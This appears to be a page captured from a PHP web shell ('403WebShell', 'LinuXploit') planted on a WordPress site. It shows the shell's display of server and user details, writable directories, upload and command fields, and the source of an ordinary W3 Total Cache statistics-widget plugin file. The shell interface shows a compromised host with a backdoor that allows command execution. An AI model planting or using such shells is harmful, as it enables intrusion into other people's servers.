Uname:Linux developmentwebsite.ca 4.18.0-553.168.1.el8_10.x86_64 #1 SMP Thu Sep 24 18:05:46 UTC 2026 x86_64

403WebShell
403Webshell
Server IP : 173.249.148.11  /  Your IP : 216.73.216.179
Web Server : Apache/2.4.68 (AlmaLinux)
System : Linux developmentwebsite.ca 4.18.0-553.168.1.el8_10.x86_64 #1 SMP Thu Sep 24 18:05:46 UTC 2026 x86_64
User : devinter ( 1006)
PHP Version : 8.3.35
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /chroot/home/devinter/public_html/wp-content/plugins/w3-total-cache/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /chroot/home/devinter/public_html/wp-content/plugins/w3-total-cache/UsageStatistics_Widget.php
<?php
namespace W3TC;

/**
 * widget with stats
 */
class UsageStatistics_Widget {
	static private function enabled() {
		static $_enabled = null;
		if ( is_null( $_enabled ) ) {
			$c = Dispatcher::config();
			$_enabled = ( $c->get_boolean( 'stats.enabled' ) &&
				Util_Environment::is_w3tc_pro( $c ) );
		}

		return $_enabled;
	}



	public function init() {
		Util_Widget::add2( 'w3tc_usage_statistics', 1000,
			'<div class="w3tc-widget-w3tc-logo"></div>' .
			'<div class="w3tc-widget-text">' .
			__( 'Caching Statistics', 'w3-total-cache' ) .
			'</div>',
			array( $this, 'widget_form' ),
			Util_Ui::admin_url( 'admin.php?page=w3tc_stats' ),
			'normal',
			 'Detailed' );
	}



	static public function admin_init_w3tc_dashboard() {
		if ( self::enabled() ) {
			wp_enqueue_script( 'w3tc-canvasjs',
				plugins_url( 'pub/js/chartjs.min.js', W3TC_FILE ),
				array(), W3TC_VERSION );
			wp_enqueue_script( 'w3tc-widget-usagestatistics',
				plugins_url( 'UsageStatistics_Widget_View.js', W3TC_FILE ),
				array(), W3TC_VERSION );
		}
	}



	public function widget_form() {
		if ( self::enabled() ) {
			include  W3TC_DIR . '/UsageStatistics_Widget_View.php';
		} else {
			include  W3TC_DIR . '/UsageStatistics_Widget_View_Disabled.php';
		}
	}
}

Youez - 2016 - github.com/yon3zu
LinuXploit